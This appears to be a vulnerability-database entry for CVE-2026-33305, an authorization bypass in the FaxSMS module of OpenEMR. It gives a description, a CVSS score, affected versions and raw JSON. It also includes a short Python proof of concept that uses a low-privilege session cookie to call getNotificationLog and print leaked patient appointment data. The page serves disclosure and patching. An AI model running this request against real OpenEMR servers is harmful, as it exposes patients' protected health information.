Security Vulnerability Report
中文
CVE-2026-33305 CVSS 5.4 MEDIUM

CVE-2026-33305

Published: 2026-03-19 21:17:12
Last Modified: 2026-03-20 15:05:28

Description

OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, an authorization bypass in the optional FaxSMS module (`oe-module-faxsms`) allows any authenticated OpenEMR user to invoke controller methods — including `getNotificationLog()`, which returns patient appointment data (PHI) — regardless of whether they hold the required ACL permissions. The `AppDispatch` constructor dispatches user-controlled actions and exits the process before any calling code can enforce ACL checks. Version 8.0.0.2 fixes the issue.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:* - VULNERABLE
OpenEMR < 8.0.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-33305 # Exploits authorization bypass in OpenEMR FaxSMS module import requests target = "http://example.com/openemr" session_cookie = "PHPSESSID=valid_low_priv_user_session" # The AppDispatch allows calling getNotificationLog without ACL checks url = f"{target}/interface/modules/zend_modules/public/faxsms/index.php?action=getNotificationLog" headers = { "Cookie": session_cookie, "User-Agent": "Mozilla/5.0" } response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Authorization Bypass Successful!") print("[+] Leaked Data:") print(response.text) else: print("[-] Failed to exploit.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33305", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:17:11.863", "lastModified": "2026-03-20T15:05:28.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, an authorization bypass in the optional FaxSMS module (`oe-module-faxsms`) allows any authenticated OpenEMR user to invoke controller methods — including `getNotificationLog()`, which returns patient appointment data (PHI) — regardless of whether they hold the required ACL permissions. The `AppDispatch` constructor dispatches user-controlled actions and exits the process before any calling code can enforce ACL checks. Version 8.0.0.2 fixes the issue."}, {"lang": "es", "value": "OpenEMR es una aplicación gratuita y de código abierto para registros de salud electrónicos y gestión de consultorios médicos. Antes de la versión 8.0.0.2, una omisión de autorización en el módulo opcional FaxSMS ('oe-module-faxsms') permite a cualquier usuario autenticado de OpenEMR invocar métodos de controlador — incluyendo 'getNotificationLog()', que devuelve datos de citas de pacientes (PHI) — independientemente de si poseen los permisos ACL requeridos. El constructor 'AppDispatch' despacha acciones controladas por el usuario y sale del proceso antes de que cualquier código de llamada pueda aplicar las comprobaciones ACL. La versión 8.0.0.2 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-696"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.2", "matchCriteriaId": "C78F19AD-BD18-4F61-8B1C-DD099DBC6D34"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/edb65936e259b2625e8eea4628316c4577cb2a11", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-r973-h5cq-35rc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}